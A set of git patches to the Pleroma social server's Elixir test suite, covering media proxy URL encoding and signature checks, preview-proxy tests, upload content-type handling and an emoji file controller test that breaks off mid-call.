From bbdad8556861c60ae1f526f63de9c5857c4ad547 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 8 May 2020 23:06:47 +0300 Subject: Initial implementation of image preview proxy. Media proxy tests refactoring. --- test/web/media_proxy/media_proxy_test.exs | 133 ++++++++++++------------------ 1 file changed, 51 insertions(+), 82 deletions(-) (limited to 'test') diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index 69c2d5dae..cad0acd30 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -5,42 +5,44 @@ defmodule Pleroma.Web.MediaProxyTest do use ExUnit.Case use Pleroma.Tests.Helpers - import Pleroma.Web.MediaProxy - alias Pleroma.Web.MediaProxy.MediaProxyController - setup do: clear_config([:media_proxy, :enabled]) - setup do: clear_config(Pleroma.Upload) + alias Pleroma.Config + alias Pleroma.Web.Endpoint + alias Pleroma.Web.MediaProxy + + defp decode_result(encoded) do + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + {:ok, decoded} = MediaProxy.decode_url(sig, base64) + decoded + end describe "when enabled" do - setup do - Pleroma.Config.put([:media_proxy, :enabled], true) - :ok - end + setup do: clear_config([:media_proxy, :enabled], true) test "ignores invalid url" do - assert url(nil) == nil - assert url("") == nil + assert MediaProxy.url(nil) == nil + assert MediaProxy.url("") == nil end test "ignores relative url" do - assert url("/local") == "/local" - assert url("/") == "/" + assert MediaProxy.url("/local") == "/local" + assert MediaProxy.url("/") == "/" end test "ignores local url" do - local_url = Pleroma.Web.Endpoint.url() <> "/hello" - local_root = Pleroma.Web.Endpoint.url() - assert url(local_url) == local_url - assert url(local_root) == local_root + local_url = Endpoint.url() <> "/hello" + local_root = Endpoint.url() + assert MediaProxy.url(local_url) == local_url + assert MediaProxy.url(local_root) == local_root end test "encodes and decodes URL" do url = "https://pleroma.soykaf.com/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?( encoded, - Pleroma.Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) + Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) ) assert String.ends_with?(encoded, "/logo.png") @@ -50,62 +52,59 @@ defmodule Pleroma.Web.MediaProxyTest do test "encodes and decodes URL without a path" do url = "https://pleroma.soykaf.com" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end test "encodes and decodes URL without an extension" do url = "https://pleroma.soykaf.com/path/" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.ends_with?(encoded, "/path") assert decode_result(encoded) == url end test "encodes and decodes URL and ignores query params for the path" do url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.ends_with?(encoded, "/logo.png") assert decode_result(encoded) == url end test "validates signature" do - secret_key_base = Pleroma.Config.get([Pleroma.Web.Endpoint, :secret_key_base]) - - on_exit(fn -> - Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], secret_key_base) - end) + secret_key_base = Config.get([Endpoint, :secret_key_base]) + clear_config([Endpoint, :secret_key_base], secret_key_base) - encoded = url("https://pleroma.social") + encoded = MediaProxy.url("https://pleroma.social") - Pleroma.Config.put( - [Pleroma.Web.Endpoint, :secret_key_base], + Config.put( + [Endpoint, :secret_key_base], "00000000000000000000000000000000000000000000000" ) [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - assert decode_url(sig, base64) == {:error, :invalid_signature} + assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} end - test "filename_matches preserves the encoded or decoded path" do - assert MediaProxyController.filename_matches( + test "`filename_matches/_` preserves the encoded or decoded path" do + assert MediaProxy.filename_matches( %{"filename" => "/Hello world.jpg"}, "/Hello world.jpg", "http://pleroma.social/Hello world.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/Hello%20world.jpg"}, "/Hello%20world.jpg", "http://pleroma.social/Hello%20world.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" ) == :ok - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" @@ -116,7 +115,7 @@ defmodule Pleroma.Web.MediaProxyTest do # conn.request_path will return encoded url request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - assert MediaProxyController.filename_matches( + assert MediaProxy.filename_matches( true, request_path, "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" @@ -124,20 +123,12 @@ defmodule Pleroma.Web.MediaProxyTest do end test "uses the configured base_url" do - base_url = Pleroma.Config.get([:media_proxy, :base_url]) - - if base_url do - on_exit(fn -> - Pleroma.Config.put([:media_proxy, :base_url], base_url) - end) - end - - Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social") + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") url = "https://pleroma.soykaf.com/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) - assert String.starts_with?(encoded, Pleroma.Config.get([:media_proxy, :base_url])) + assert String.starts_with?(encoded, Config.get([:media_proxy, :base_url])) end # Some sites expect ASCII encoded characters in the URL to be preserved even if @@ -148,7 +139,7 @@ defmodule Pleroma.Web.MediaProxyTest do url = "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end @@ -159,77 +150,55 @@ defmodule Pleroma.Web.MediaProxyTest do url = "https://pleroma.com/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890-._~:/?#[]@!$&'()*+,;=|^`{}" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end test "preserve unicode characters" do url = "https://ko.wikipedia.org/wiki/위키백과:대문" - encoded = url(url) + encoded = MediaProxy.url(url) assert decode_result(encoded) == url end end describe "when disabled" do - setup do - enabled = Pleroma.Config.get([:media_proxy, :enabled]) - - if enabled do - Pleroma.Config.put([:media_proxy, :enabled], false) - - on_exit(fn -> - Pleroma.Config.put([:media_proxy, :enabled], enabled) - :ok - end) - end - - :ok - end + setup do: clear_config([:media_proxy, :enabled], false) test "does not encode remote urls" do - assert url("https://google.fr") == "https://google.fr" + assert MediaProxy.url("https://google.fr") == "https://google.fr" end end - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = decode_url(sig, base64) - decoded - end - describe "whitelist" do - setup do - Pleroma.Config.put([:media_proxy, :enabled], true) - :ok - end + setup do: clear_config([:media_proxy, :enabled], true) test "mediaproxy whitelist" do - Pleroma.Config.put([:media_proxy, :whitelist], ["google.com", "feld.me"]) + clear_config([:media_proxy, :whitelist], ["google.com", "feld.me"]) url = "https://feld.me/foo.png" - unencoded = url(url) + unencoded = MediaProxy.url(url) assert unencoded == url end test "does not change whitelisted urls" do - Pleroma.Config.put([:media_proxy, :whitelist], ["mycdn.akamai.com"]) - Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social") + clear_config([:media_proxy, :whitelist], ["mycdn.akamai.com"]) + clear_config([:media_proxy, :base_url], "https://cache.pleroma.social") media_url = "https://mycdn.akamai.com" url = "#{media_url}/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?(encoded, media_url) end test "ensure Pleroma.Upload base_url is always whitelisted" do media_url = "https://media.pleroma.social" - Pleroma.Config.put([Pleroma.Upload, :base_url], media_url) + clear_config([Pleroma.Upload, :base_url], media_url) url = "#{media_url}/static/logo.png" - encoded = url(url) + encoded = MediaProxy.url(url) assert String.starts_with?(encoded, media_url) end -- cgit v1.2.3 From 1b23acf164ebc4fde3fe1e4fdca6e11b7caa90ef Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Mon, 11 May 2020 23:21:53 +0300 Subject: [#2497] Media preview proxy for images: fixes, tweaks, refactoring, tests adjustments. --- test/web/media_proxy/media_proxy_test.exs | 66 +++++++++++++++++++++---------- 1 file changed, 45 insertions(+), 21 deletions(-) (limited to 'test') diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index cad0acd30..ac5d8fd32 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -85,38 +85,62 @@ defmodule Pleroma.Web.MediaProxyTest do assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} end - test "`filename_matches/_` preserves the encoded or decoded path" do - assert MediaProxy.filename_matches( - %{"filename" => "/Hello world.jpg"}, - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg" + def test_verify_request_path_and_url(request_path, url, expected_result) do + assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{ + params: %{"filename" => Path.basename(request_path)}, + request_path: request_path + }, + url + ) == expected_result + end + + test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> + "parameter, `verify_request_path_and_url/2` returns :ok " do + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/some/path"}, + "https://instance.com/file.jpg" ) == :ok - assert MediaProxy.filename_matches( - %{"filename" => "/Hello%20world.jpg"}, - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg" + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, + "https://instance.com/file.jpg" ) == :ok + end - assert MediaProxy.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == :ok + test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do + test_verify_request_path_and_url( + "/Hello world.jpg", + "http://pleroma.social/Hello world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/Hello%20world.jpg", + "http://pleroma.social/Hello%20world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + :ok + ) - assert MediaProxy.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + ) end test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do # conn.request_path will return encoded url request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - assert MediaProxy.filename_matches( - true, + assert MediaProxy.verify_request_path_and_url( request_path, "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" ) == :ok -- cgit v1.2.3 From 3a1e810aaaea3e44c4dfc82a014485cf886d6b88 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 21 May 2020 21:47:32 +0300 Subject: [#2497] Customized `exexec` launch to support root operation (currently required by Gitlab CI). --- test/exec_test.exs | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test/exec_test.exs (limited to 'test') diff --git a/test/exec_test.exs b/test/exec_test.exs new file mode 100644 index 000000000..45d3f778f --- /dev/null +++ b/test/exec_test.exs @@ -0,0 +1,13 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ExecTest do + alias Pleroma.Exec + + use Pleroma.DataCase + + test "it starts" do + assert {:ok, _} = Exec.ensure_started() + end +end -- cgit v1.2.3 From f124f6820582d50be83ba7a1709b14ce8ee1abcc Mon Sep 17 00:00:00 2001 From: href Date: Tue, 16 Jun 2020 15:11:45 +0200 Subject: Switch from gen_magic to majic, use Majic.Plug, remove Pleroma.MIME --- test/upload_test.exs | 66 ++++++---------------- .../activity_pub/activity_pub_controller_test.exs | 5 +- test/web/activity_pub/object_validator_test.exs | 2 +- 3 files changed, 21 insertions(+), 52 deletions(-) (limited to 'test') diff --git a/test/upload_test.exs b/test/upload_test.exs index 2abf0edec..c7ad177d9 100644 --- a/test/upload_test.exs +++ b/test/upload_test.exs @@ -11,7 +11,7 @@ defmodule Pleroma.UploadTest do alias Pleroma.Uploaders.Uploader @upload_file %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } @@ -111,7 +111,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } @@ -127,7 +127,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -143,7 +143,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -152,63 +152,31 @@ defmodule Pleroma.UploadTest do assert data["name"] == "an [image.jpg" end - test "fixes incorrect content type" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "application/octet-stream", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" + test "fixes incorrect content type when base64 is given" do + params = %{ + img: "data:image/png;base64,#{Base.encode64(File.read!("test/fixtures/image.jpg"))}" } - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + {:ok, data} = Upload.store(params) assert hd(data["url"])["mediaType"] == "image/jpeg" end - test "adds missing extension" do + test "adds extension when base64 is given" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image" + params = %{ + img: "data:image/png;base64,#{Base.encode64(File.read!("test/fixtures/image.jpg"))}" } - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect file extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.blah" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "don't modify filename of an unknown type" do - File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") - - file = %Plug.Upload{ - content_type: "text/plain", - path: Path.absname("test/fixtures/test_tmp.txt"), - filename: "test.txt" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "test.txt" + {:ok, data} = Upload.store(params) + assert String.ends_with?(data["name"], ".jpg") end test "copies the file to the configured folder with anonymizing filename" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -222,7 +190,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an… image.jpg" } @@ -237,7 +205,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: ":?#[]@!$&\\'()*+,;=.jpg" } @@ -259,7 +227,7 @@ defmodule Pleroma.UploadTest do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index e490a5744..8c6ee68b2 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -1428,9 +1428,9 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do desc = "Description of the image" image = %Plug.Upload{ - content_type: "image/jpg", + content_type: "bad/content-type", path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" + filename: "an_image.png" } object = @@ -1445,6 +1445,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] assert is_binary(object_href) assert object_mediatype == "image/jpeg" + assert String.ends_with?(object_href, ".jpg") activity_request = %{ "@context" => "https://www.w3.org/ns/activitystreams", diff --git a/test/web/activity_pub/object_validator_test.exs b/test/web/activity_pub/object_validator_test.exs index 31224abe0..ee1e1bcfe 100644 --- a/test/web/activity_pub/object_validator_test.exs +++ b/test/web/activity_pub/object_validator_test.exs @@ -58,7 +58,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidatorTest do user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } -- cgit v1.2.3 From b8021016ebef23903c59e5140d4efb456a84a347 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 21 Jul 2020 20:03:14 +0300 Subject: [#2497] Resolved merge conflicts. --- .../media_proxy/media_proxy_controller_test.exs | 39 ---------------------- test/web/media_proxy/media_proxy_test.exs | 24 ++++--------- 2 files changed, 7 insertions(+), 56 deletions(-) (limited to 'test') diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index d4db44c63..0cda1e0b0 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -79,43 +79,4 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do end end end - - describe "filename_matches/3" do - test "preserves the encoded or decoded path" do - assert MediaProxyController.filename_matches( - %{"filename" => "/Hello world.jpg"}, - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/Hello%20world.jpg"}, - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} - end - - test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do - # conn.request_path will return encoded url - request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - - assert MediaProxyController.filename_matches( - true, - request_path, - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" - ) == :ok - end - end end diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index 06990464f..0e6df826c 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -126,6 +126,13 @@ defmodule Pleroma.Web.MediaProxyTest do :ok ) + test_verify_request_path_and_url( + # Note: `conn.request_path` returns encoded url + "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", + "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", + :ok + ) + test_verify_request_path_and_url( "/my%2Flong%2Furl%2F2019%2F07%2FS", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", @@ -133,17 +140,6 @@ defmodule Pleroma.Web.MediaProxyTest do ) end - test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do - # conn.request_path will return encoded url - request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - - assert MediaProxy.verify_request_path_and_url( - request_path, - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" - ) == :ok - assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} - end - test "uses the configured base_url" do base_url = "https://cache.pleroma.social" clear_config([:media_proxy, :base_url], base_url) @@ -193,12 +189,6 @@ defmodule Pleroma.Web.MediaProxyTest do end end - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = MediaProxy.decode_url(sig, base64) - decoded - end - describe "whitelist" do setup do: clear_config([:media_proxy, :enabled], true) -- cgit v1.2.3 From 56ddf20208657487bf0298409cf91b11dac346ff Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 7 Aug 2020 09:43:49 +0300 Subject: Removed unused alias. --- test/web/media_proxy/media_proxy_controller_test.exs | 1 - 1 file changed, 1 deletion(-) (limited to 'test') diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 0cda1e0b0..0dd2fd10c 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -8,7 +8,6 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do import Mock alias Pleroma.Web.MediaProxy - alias Pleroma.Web.MediaProxy.MediaProxyController alias Plug.Conn setup do -- cgit v1.2.3 From da116d81fb0028913c2a0f30ac35532fb500e8fc Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 18 Aug 2020 18:23:27 +0300 Subject: [#2497] Added video preview proxy. Switched from exexec to Port. --- test/exec_test.exs | 13 ------------- 1 file changed, 13 deletions(-) delete mode 100644 test/exec_test.exs (limited to 'test') diff --git a/test/exec_test.exs b/test/exec_test.exs deleted file mode 100644 index 45d3f778f..000000000 --- a/test/exec_test.exs +++ /dev/null @@ -1,13 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ExecTest do - alias Pleroma.Exec - - use Pleroma.DataCase - - test "it starts" do - assert {:ok, _} = Exec.ensure_started() - end -end -- cgit v1.2.3 From 7794d7c694110543998ee1fb278c68babda37301 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 19 Aug 2020 06:50:20 +0300 Subject: added Pleroma.Web.PleromaAPI.EmojiFileController --- .../controllers/emoji_file_controller_test.exs | 318 +++++++++++++++++++++ .../controllers/emoji_pack_controller_test.exs | 287 ------------------- 2 files changed, 318 insertions(+), 287 deletions(-) create mode 100644 test/web/pleroma_api/controllers/emoji_file_controller_test.exs (limited to 'test') diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs new file mode 100644 index 000000000..56be130be --- /dev/null +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -0,0 +1,318 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + :ok + end + + test "create shortcode exists", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "An emoji with the \"blank\" shortcode already exists" + } + end + + test "don't rewrite old emoji", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + new_shortcode: "blank2", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => + "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" + } + end + + test "rewrite old emoji with force option", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png", + force: true + }) 